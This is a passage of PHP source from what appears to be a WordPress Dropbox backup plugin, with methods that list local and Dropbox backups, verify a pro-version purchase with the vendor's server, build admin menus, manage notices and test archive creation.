                $folder_project = str_ireplace( array( "-", '/', '.'), '_', $folder_project );
                $folder_project = str_ireplace( array( 'Ä',  'ä',  'Ö',  'ö', 'ß',  'Ü',  'ü', 'å'), 
                array('ae', 'ae', 'oe', 'oe', 's', 'ue', 'ue', 'a'), 
                $folder_project ); 
                return $folder_project;
            }

            public static function wpadm_show_backup()
            {
                require_once DRBBACKUP_BASE_DIR. "/modules/dropbox.class.php";
                parent::$type = 'full';
                $dropbox_options = self::getSettings();
                $stop_precess = WPAdm_Running::getCommandResultData('stop_process');
                $name_backup = isset($stop_precess['name']) ? $stop_precess['name'] : '' ;
                if ($dropbox_options) {
                    if (isset($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && ( isset( $dropbox_options['auth_token_secret'] ) || isset($dropbox_options['access_token']) ) ) {

                        if ( isset( $dropbox_options['auth_token_secret'] ) ) {
                            $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
                        } elseif( isset($dropbox_options['access_token']) ) {
                            $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret']);
                            $dropbox->setAccessToken2($dropbox_options['access_token'], $dropbox_options['token_type']);
                        }
                        
                        $folder_project = self::getNameProject();
                        $backups = $dropbox->listing($folder_project);
                        $n = count($backups['items']);
                        $data['data'] = array();
                        $not_all_upload = false;
                        for($i = 0; $i < $n; $i++) {
                            if ($name_backup != $backups['items'][$i]['name']) {
                                $backup = $dropbox->listing($folder_project . "/" . $backups['items'][$i]['name']); 
                                $data['data'][$i]['name'] = $backups['items'][$i]['name'];
                                $data['data'][$i]['dt'] = parent::getDateInName($backups['items'][$i]['name']);
                                $data['data'][$i]['count'] = count($backup['items']);
                                $data['data'][$i]['type'] = 'dropbox';
                                $k = $data['data'][$i]['count'];
                                $size = 0;
                                $not_all_upload = false;
                                $data['data'][$i]['files'] = '[';
                                for($j = 0; $j < $k; $j++) {
                                    if ( strpos($backup['items'][$j]['name'] , '.md5') !== false || strpos($backup['items'][$j]['name'] , '.zip') !== true || strpos($backup['items'][$j]['name'] , '.tar.gz' ) !== false ) {
                                        if ( strpos($backup['items'][$j]['name'] , '.md5') !== false ) {
                                            $not_all_upload = true;
                                        }
                                        $data['data'][$i]['files'] .= $backup['items'][$j]['name'] . ',';
                                        $size += $backup['items'][$j]['size'];
                                    }
                                }
                                $data['data'][$i]['size'] = $size;
                                $data['data'][$i]['not_all_upload'] = $not_all_upload;

                            }
                        }
                    }
                } 
                if (isset($_GET['pay']) && $_GET['pay'] == 'success') {    // check of GET params == string 'success'
                    if (!file_exists(WPAdm_Core::getTmpDir() . "/pay_success")) {
                        file_put_contents(WPAdm_Core::getTmpDir() . "/pay_success", 1);
                        parent::setMessage( 'Checkout was successfully' );
                    }
                }
                if (isset($_GET['pay']) && $_GET['pay'] == 'cancel') {   // check of GET params == string 'cancel'
                    parent::setError( __('Checkout was canceled','dropbox-backup') );
                }
                $data_local = parent::read_backups();
                if (isset($data['data'])) {
                    $data['data'] = array_merge($data_local['data'], $data['data']);
                    $data['md5'] = md5( print_r( $data['data'] , 1 ) );
                } else {
                    $data = $data_local;
                }
                if (file_exists(WPAdm_Core::getTmpDir() . "/pay_success")) {
                    $plugin_info = get_plugins("/" . parent::$plugin_name);
                    $plugin_version = (isset($plugin_info[parent::$plugin_name . '.php']['Version']) ? $plugin_info[parent::$plugin_name . '.php']['Version'] : '');
                    $data_server = parent::sendToServer(
                    array(
                    'actApi' => "proBackupCheck",
                    'site' => home_url(),
                    'email' => get_option('admin_email'),
                    'plugin' => parent::$plugin_name,
                    'key' => '',
                    'plugin_version' => $plugin_version
                    )
                    ); 
                    if (isset($data_server['status']) && $data_server['status'] == 'success' && isset($data_server['key'])) {
                        update_option(PREFIX_BACKUP_ . 'pro-key', $data_server['key']);
                        if (isset($data_server['url']) && !empty($data_server['url'])) {
                            parent::setMessage( str_replace('&s', $data_server['url'], __('The "Dropbox backup & restore PRO" version can be downloaded here <a href="&s">download</a>','dropbox-backup') )  );
                        }
                    }
                }
                if ( ! function_exists( 'get_plugins' ) ) {
                    require_once ABSPATH . 'wp-admin/includes/plugin.php';
                }
                $stars5 = file_exists( WPAdm_Core::getTmpDir() . "/notice-star");
                $plugin_data = array_values( get_plugins('/dropbox-backup') );
                $is_runnig = WPAdm_Running::is_running();
                $running_backup = WPAdm_Running::getCommand( 'local_backup' );
                if($running_backup === false) {
                    $running_backup = WPAdm_Running::getCommand( 'send-to-dropbox' ); 
                }
                if ( isset($running_backup['params']['time']) ) {
                    $name = get_option('siteurl');

                    $name_running_backup = str_replace("http://", '', $name);
                    $name_running_backup = str_replace("https://", '', $name_running_backup);
                    $name_running_backup = preg_replace("|\W|", "_", $name_running_backup);
                    $name_running_backup .= '-' . wpadm_class::$type . '-' . date("Y_m_d_H_i", $running_backup['params']['time']);
                }

                $backu_dir = DROPBOX_BACKUP_DIR_BACKUP;
                if (isset($dropbox_options['backup_folder']) && !empty($dropbox_options['backup_folder'])) {
                    $backu_dir = $dropbox_options['backup_folder'];
                } 
                if ( !file_exists( $backu_dir . '/local-key') ) {
                    WPAdm_Core::mkdir($backu_dir);
                    $key = md5(time() . 'wpadm-key');
                    file_put_contents($backu_dir . '/local-key', base64_encode( serialize( array('key' => $key, 'time-update' => time() + 3600) ) ) );
                } else {
                    $key_values = unserialize( base64_decode(  file_get_contents($backu_dir . '/local-key') ) );
                    if (isset($key_values['time-update']) && $key_values['time-update'] <= time() ) {
                        $key = md5( time() . 'wpadm-key' );
                        file_put_contents($backu_dir . '/local-key', base64_encode( serialize ( array( 'key' => $key, 'time-update' => time() + 3600 ) ) ) );
                    } else {
                        $key = $key_values['key'];
                    }
                }

                $show = !get_option('wpadm_pub_key') && is_super_admin();
                $error = parent::getError(true);
                if ( !empty( WPAdm_Core::$error ) ) {
                    $error .= '<br />' . WPAdm_Core::$error;
                }
                $msg = parent::getMessage(true); 
                $default = self::$circle / 6; // 18 request for log files, one request every 10 seconds
                $base_path = DRBBACKUP_BASE_DIR ;

                if ( !isset( $dropbox_options['type_archive'] ) ) {
                    $dropbox_options['type_archive'] = self::$type_archive;
                } else {
                    $dropbox_options['type_archive'] = array_merge( self::$type_archive, $dropbox_options['type_archive'] );
                }

                $nonce = wp_create_nonce( 'wpadm_nonce' );

                ob_start();
                require_once $base_path . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "wpadm_show_backup.php";
                echo ob_get_clean();
            }

            public static function draw_menu()
            {
                $show = true;
                $dropbox_options = self::getSettings();

                if ( ( isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ) || !isset($dropbox_options['is_admin']) ) {
                    if (!is_admin() || !is_super_admin()) {
                        $show = false;
                    }
                    if ( !current_user_can('administrator') ) {
                        $show = false;
                    }

                }
                if ($show) {
                    $menu_position = '1.9998887771'; 
                    if(self::checkInstallWpadmPlugins()) {      
                        $page = add_menu_page(
                        'WPAdm', 
                        'WPAdm', 
                        "read", 
                        'wpadm_plugins', 
                        'wpadm_plugins',
                        plugins_url('/img/wpadm-logo.png', dirname( __FILE__ )),
                        $menu_position     
                        );
                        add_submenu_page(
                        'wpadm_plugins', 
                        "Dropbox Full Backup",
                        "Dropbox Full Backup",
                        'read',
                        'wpadm_wp_full_backup_dropbox',
                        array('wpadm_wp_full_backup_dropbox', 'wpadm_show_backup')
                        );   
                    } else {        
                        $page = add_menu_page(
                        'Dropbox Full Backup', 
                        'Dropbox Full Backup', 
                        "read", 
                        'wpadm_wp_full_backup_dropbox', 
                        array('wpadm_wp_full_backup_dropbox', 'wpadm_show_backup'),
                        plugins_url('/img/wpadm-logo.png', dirname( __FILE__ ) ),
                        $menu_position     
                        );

                        add_submenu_page(
                        'wpadm_wp_full_backup_dropbox', 
                        "WPAdm",
                        "WPAdm",
                        'read',
                        'wpadm_plugins',
                        'wpadm_plugins'
                        );  
                    }

                }
            }
            public static function notice()
            {                      
                // check of isset GET params "page"                                                                            
                if (!isset($_GET['page']) || ( isset($_GET['page']) && $_GET['page'] != 'wpadm_wp_full_backup_dropbox' ) ) {
                    $notice_file = DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice.php";
                    if (!file_exists(WPAdm_Core::getTmpDir() . "/notice") && file_exists($notice_file)) {
                        ob_start();
                        include_once $notice_file;
                        echo ob_get_clean();
                    }
                }
            }
            public static function hide_notice()
            {
                if (isset($_GET['type'])) {
                    $type = sanitize_text_field( $_GET['type'] );
                    switch( $type ) {
                        case 'preview' :
                            file_put_contents(WPAdm_Core::getTmpDir() . "/notice", 1);
                            break;
                        case 'star' :
                            if (isset($_GET['hide']) && $_GET['hide'] == '1d') {
                                file_put_contents(WPAdm_Core::getTmpDir() . "/notice-star", time() . '_w');
                            } elseif ( ( isset($_GET['hide']) && $_GET['hide'] == 'week' ) || !isset($_GET['hide']) ) {
                                file_put_contents(WPAdm_Core::getTmpDir() . "/notice-star", 0);
                            }
                            break;
                    }
                }
                header('location:' . $_SERVER['HTTP_REFERER']);
                exit;
            }

            public static function testOtherArchives()
            {
                require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-archive.php";  
                // test type archive 
                $archive = new WPAdm_Archive(WPAdm_Core::getTmpDir() . '/test.zip');
                $archive->setRemovePath(rtrim( ABSPATH, '/' ) );
                $zip_test = $archive->zipArhive( array( WPAdm_Core::getTmpDir() . '/index.php' , WPAdm_Core::getTmpDir() . '/.htaccess' ) );
                if ( $zip_test ) {
                    WPAdm_Running::setCommandResultData('test_zip_archive', true);
                    WPAdm_Core::log( __('Testing of ZIP under shell was finished successfully', 'dropbox-backup') );
                }

                $targz_archive = $archive->targzArchive( array( WPAdm_Core::getTmpDir() . '/index.php' , WPAdm_Core::getTmpDir() . '/.htaccess' ) );
                if ( $targz_archive ) {
                    WPAdm_Running::setCommandResultData('test_targz_archive', true);
                    WPAdm_Core::log( __('Testing of TarGz was finished successfully', 'dropbox-backup') );
                }
            }

            static function getTypeBackup()
            {
                $dropbox_options = self::getSettings();
                if ( !isset( $dropbox_options['type_archive'] ) ) {
                    $dropbox_options['type_archive'] = self::$type_archive;
                } else {
                    $dropbox_options['type_archive'] = array_merge( self::$type_archive, $dropbox_options['type_archive'] );
                }
                return $dropbox_options['type_archive'];
            }
        }
    }

?>
